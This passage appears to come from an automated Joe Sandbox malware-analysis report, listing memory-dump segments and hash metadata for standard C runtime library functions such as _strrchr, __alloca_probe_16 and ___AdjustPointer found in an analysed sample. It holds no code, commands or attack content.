Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: Resource$Concurrency::details::Execution$CurrentManager::Proxy::RemoveSchedulerThreadstd::invalid_argument::invalid_argument
String ID: pScheduler
API String ID: 246774199-923244539
Opcode ID: 4b3347aa3e3c0b234ad6e6375e2dff934710ebac289406be3ecb0928539732ab
Instruction ID: d2e7e027a5a3b1617f748a27fcfffe48f9eea2c850220fcf530419f0113ee7c9
Opcode Fuzzy Hash: 4b3347aa3e3c0b234ad6e6375e2dff934710ebac289406be3ecb0928539732ab
Instruction Fuzzy Hash: 15F0B439900A04E78724FA56DC8289FB7689F90716B208229EC1657181DB70AA8AC79A

Function 00C6CBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00C6CC66

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction ID: 564ac6fd276f926be8fd1d84846b131a21ad2eefd818ed0f9f0cc76dc17fe3e8
Opcode Fuzzy Hash: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction Fuzzy Hash: BDB147329046859FDB31CF28C8C17BEBBF5EF55340F14816AD8A5EB242D6359E42CBA0

Function 00C767A9 Relevance: 6.2, APIs: 4, Instructions: 245COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00C76902
__alloca_probe_16.LIBCMT ref: 00C76998
__freea.LIBCMT ref: 00C76A03
__freea.LIBCMT ref: 00C76A0F

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: __alloca_probe_16__freea
String ID:
API String ID: 1635606685-0
Opcode ID: 3a802436afe5d920f83224d11659b2b57063c47057b91e6ec5a1273226a7d91b
Instruction ID: e206f6530212ffe6dd572c6a71d7b6e3c815d44489b4405bc7e0c8da9ecdf99d
Opcode Fuzzy Hash: 3a802436afe5d920f83224d11659b2b57063c47057b91e6ec5a1273226a7d91b
Instruction Fuzzy Hash: E981E372D00A069FDF209F658881EEF7BB59F49364F18C159E928BB281E731CD40DBA1

Function 00C6504E Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00C65115
___AdjustPointer.LIBCMT ref: 00C65138
___AdjustPointer.LIBCMT ref: 00C651D4

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: da212c70064c4c05ebd55691b23975802bf849f4a144a09c9b1a6e1612a7528a
Instruction ID: 36c704de0c96ac2ef0d025492ae2f1403b16cdd6039ba16d51201cdc725afa2c
Opcode Fuzzy Hash: da212c70064c4c05ebd55691b23975802bf849f4a144a09c9b1a6e1612a7528a
Instruction Fuzzy Hash: 7E51D176A01A06AFDB399F54D8C1BBE73B5EF11310F344529E81187291E731EE81EB90

Function 00C64C15 Relevance: 6.1, APIs: 4, Instructions: 141COMMON

Download Yara Rule

APIs

TypeidsEqual.LIBVCRUNTIME ref: 00C64C66
TypeidsEqual.LIBVCRUNTIME ref: 00C64C8B
PMDtoOffset.LIBCMT ref: 00C64CA1
PMDtoOffset.LIBCMT ref: 00C64D22

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
